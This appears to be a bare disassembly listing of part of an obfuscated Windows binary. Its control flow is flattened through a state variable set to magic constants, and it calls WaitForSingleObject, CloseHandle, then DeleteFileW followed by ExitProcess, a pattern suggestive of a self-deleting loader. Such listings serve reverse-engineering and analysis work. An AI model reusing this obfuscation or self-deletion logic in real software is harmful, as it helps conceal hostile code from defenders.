mov edx, dword [esi + 0xac0]
mov edi, dword [0x530af8]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
sub esp, 0xc
mov dword [esi + 0x70], eax
mov eax, esp
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
call ecx
mov ecx, dword [0x530cc8]
mov edx, dword [esi + 0xa9c]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x6c], eax
call ecx
mov ecx, dword [0x530cc8]
mov edx, dword [esi + 0xa94]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x68], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0xa88]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x64], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0xa68]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x60], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0xa80]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x5c], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0xa84]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x58], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0xa84]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x54], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0xa80]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x50], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0xa78]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x4c], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0xa78]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x48], eax
call ecx
mov ecx, dword [0x530cc8]
mov edx, dword [esi + 0xa8c]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x44], eax
call ecx
mov ecx, dword [0x530cd8]
mov edx, dword [esi + 0xa60]
mov edx, dword [edx]
sub esp, 4
mov edi, esp
mov dword [edi], edx
mov dword [esi + 0x40], eax
call ecx
mov eax, 0x20a
mov ecx, dword [esi + 0xadc]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], 0x20a
mov dword [esi + 0x3c], eax
call fcn.00430660
add esp, 8
mov eax, dword [0x530d24]
mov ecx, dword [esi + 0xadc]
sub esp, 0xc
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], 0
mov dword [edx], 0
call eax
mov ecx, dword [esi + 0xa54]
mov dword [ecx], eax
mov eax, dword [esi + 0xa54]
mov dword [esi + 0xa48], 0x71fc5db5
mov dword [esi + 0x38], eax
jmp 0x43a2cd
mov eax, dword [0x530d08]
mov ecx, dword [esi + 0xb04]
mov ecx, dword [ecx]
mov edx, dword [esi + 0xa5c]
mov edx, dword [edx]
sub esp, 0x14
mov edi, esp
mov dword [edi + 0x10], ecx
mov dword [edi], edx
mov dword [edi + 0xc], 0
mov dword [edi + 8], 0
mov dword [edi + 4], 2
call eax
mov ecx, dword [esi + 0xa50]
mov dword [ecx], eax
mov eax, dword [esi + 0xa50]
mov dword [esi + 0xa48], 0x6abd193
mov dword [esi + 0x34], eax
jmp 0x43a2cd
mov eax, dword [esi + 0xb04]
mov eax, dword [eax]
mov ecx, dword [esi + 0xa50]
mov ecx, dword [ecx]
mov dword [ecx], eax
mov eax, dword [esi + 0xaf8]
mov eax, dword [eax]
mov ecx, dword [esi + 0xa50]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
mov eax, dword [esi + 0xaf8]
mov eax, dword [eax]
mov ecx, dword [esi + 0xad4]
mov edx, dword [esi + 0xaf8]
mov edx, dword [edx]
mov edi, dword [esi + 0xa50]
mov edi, dword [edi]
add edi, 8
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.004023d0
add esp, 0x10
mov ecx, 0
mov edx, dword [esi + 0xb00]
mov edx, dword [edx]
mov edi, dword [esi + 0xa50]
mov edi, dword [edi]
mov ebx, dword [esi + 0xaf8]
mov ebx, dword [ebx]
mov dword [esi + 0x30], eax
mov eax, ecx
sub eax, 8
mov dword [esi + 0x2c], eax
mov eax, ecx
sub eax, ebx
mov ebx, dword [esi + 0x2c]
add ebx, eax
sub ecx, ebx
mov dword [edi + ecx], edx
mov dword [esi + 0xa48], 0xe1010c80
jmp 0x43a2cd
mov eax, 0
mov ecx, 0xe0a271f7
mov edx, dword [esi + 0xb00]
mov edx, dword [edx]
mov edi, dword [0x52f984]
mov ebx, dword [esi + 0xb00]
mov ebx, dword [ebx]
mov dword [esi + 0x28], eax
mov eax, dword [esi + 0xa50]
mov eax, dword [eax]
mov dword [esi + 0x24], eax
mov eax, dword [esi + 0xaf8]
mov eax, dword [eax]
add ecx, 8
add ecx, eax
sub ecx, 0xe0a271f7
mov eax, dword [esi + 0x28]
sub eax, ecx
mov ecx, dword [esi + 0x28]
sub ecx, 4
add eax, ecx
mov ecx, dword [esi + 0x28]
sub ecx, eax
mov eax, dword [esi + 0x24]
add eax, ecx
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], ebx
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
call fcn.004023d0
add esp, 0x10
mov dword [esi + 0xa48], 0x4c89784a
mov dword [esi + 0x20], eax
jmp 0x43a2cd
mov eax, dword [esi + 0xa64]
mov eax, dword [eax + 0x38]
sub esp, 8
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 4], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
mov ecx, dword [0x530ce4]
sub esp, 0x10
mov edx, esp
mov dword [edx + 0xc], 0
mov dword [edx + 8], 0
mov dword [edx + 4], 0
mov dword [edx], 0
mov dword [esi + 0x1c], eax
call ecx
mov ecx, dword [esi + 0xac8]
mov edx, dword [esi + 0xa64]
mov dword [edx + 0x10], ecx
mov ecx, dword [esi + 0xa64]
mov dword [ecx + 0x14], 0
mov ecx, dword [esi + 0xa64]
mov dword [ecx + 0x1c], 1
mov ecx, dword [0x530ce8]
mov edx, dword [esi + 0xa64]
sub esp, 4
mov edi, esp
mov dword [edi], edx
mov dword [esi + 0x18], eax
call ecx
mov dword [esi + 0xa48], 0xd9da456d
mov dword [esi + 0x14], eax
jmp 0x43a2cd
mov dword [esi + 0xa48], 0x258158cf
jmp 0x43a2cd
mov eax, dword [esi + 0xa5c]
mov dword [esi + 0xa48], 0x6a715c27
mov dword [esi + 0x10], eax
jmp 0x43a2cd
mov eax, dword [esi + 0xa5c]
mov eax, dword [eax]
sub esp, 4
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
mov dword [esi + 0xa48], 0x959abd23
mov dword [esi + 0xc], eax
jmp 0x43a2cd
mov eax, dword [esi + 0xab8]
sub esp, 4
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call eax
mov dword [esi + 8], eax
call fcn.00432bb0
mov eax, dword [esi + 0xb14]
mov dword [esi + 0xa48], 0xdfb5a6b3
mov dword [esi + 4], eax
jmp 0x43a2cd
sub esp, 4
mov eax, esp
mov dword [eax], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
mov dword [esi + 0xa48], 0xe8ba3988
jmp 0x43a2cd
mov eax, dword [esi + 0xb14]
mov eax, dword [eax]
mov ecx, dword [esi + 0xa4c]
mov dword [ecx], eax
mov dword [esi + 0xa48], 0xf7090131
jmp 0x432dfe